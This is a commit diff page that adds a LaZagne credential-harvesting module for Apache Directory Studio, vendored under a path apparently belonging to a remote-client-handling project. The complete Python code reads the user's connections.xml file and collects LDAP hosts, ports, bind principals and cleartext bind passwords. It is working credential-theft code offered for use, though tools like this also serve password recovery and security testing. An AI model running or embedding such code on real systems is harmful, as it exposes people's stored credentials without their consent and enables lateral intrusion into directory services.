summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py
diff options
context:
space:
mode:
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py')
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py62
1 files changed, 62 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py b/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py
new file mode 100644
index 0000000..14a8b4a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py
@@ -0,0 +1,62 @@
+# -*- coding: utf-8 -*-
+from xml.etree.ElementTree import parse
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import *
+
+import os
+
+
+class ApacheDirectoryStudio(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin')
+ # Interesting XML attributes in ADS connection configuration
+ self.attr_to_extract = ["host", "port", "bindPrincipal", "bindPassword", "authMethod"]
+
+ def extract_connections_credentials(self):
+ """
+ Extract all connection's credentials.
+
+ :return: List of dict in which one dict contains all information for a connection.
+ """
+ repos_creds = []
+ connection_file_location = os.path.join(
+ constant.profile["USERPROFILE"],
+ u'.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml'
+ )
+ if os.path.isfile(connection_file_location):
+ try:
+ connections = parse(connection_file_location).getroot()
+ connection_nodes = connections.findall(".//connection")
+ for connection_node in connection_nodes:
+ creds = {}
+ for connection_attr_name in connection_node.attrib:
+ if connection_attr_name in self.attr_to_extract:
+ creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip()
+ if creds:
+ repos_creds.append(creds)
+ except Exception as e:
+ self.error(u"Cannot retrieve connections credentials '%s'" % e)
+
+ return repos_creds
+
+ def run(self):
+ """
+ Main function
+ """
+ # Extract all available connections credentials
+ repos_creds = self.extract_connections_credentials()
+
+ # Parse and process the list of connections credentials
+ pwd_found = []
+ for creds in repos_creds:
+ pwd_found.append({
+ "Host" : creds["host"],
+ "Port" : creds["port"],
+ "Login" : creds["bindPrincipal"],
+ "Password" : creds["bindPassword"],
+ "AuthenticationMethod" : creds["authMethod"]
+ })
+
+ return pwd_found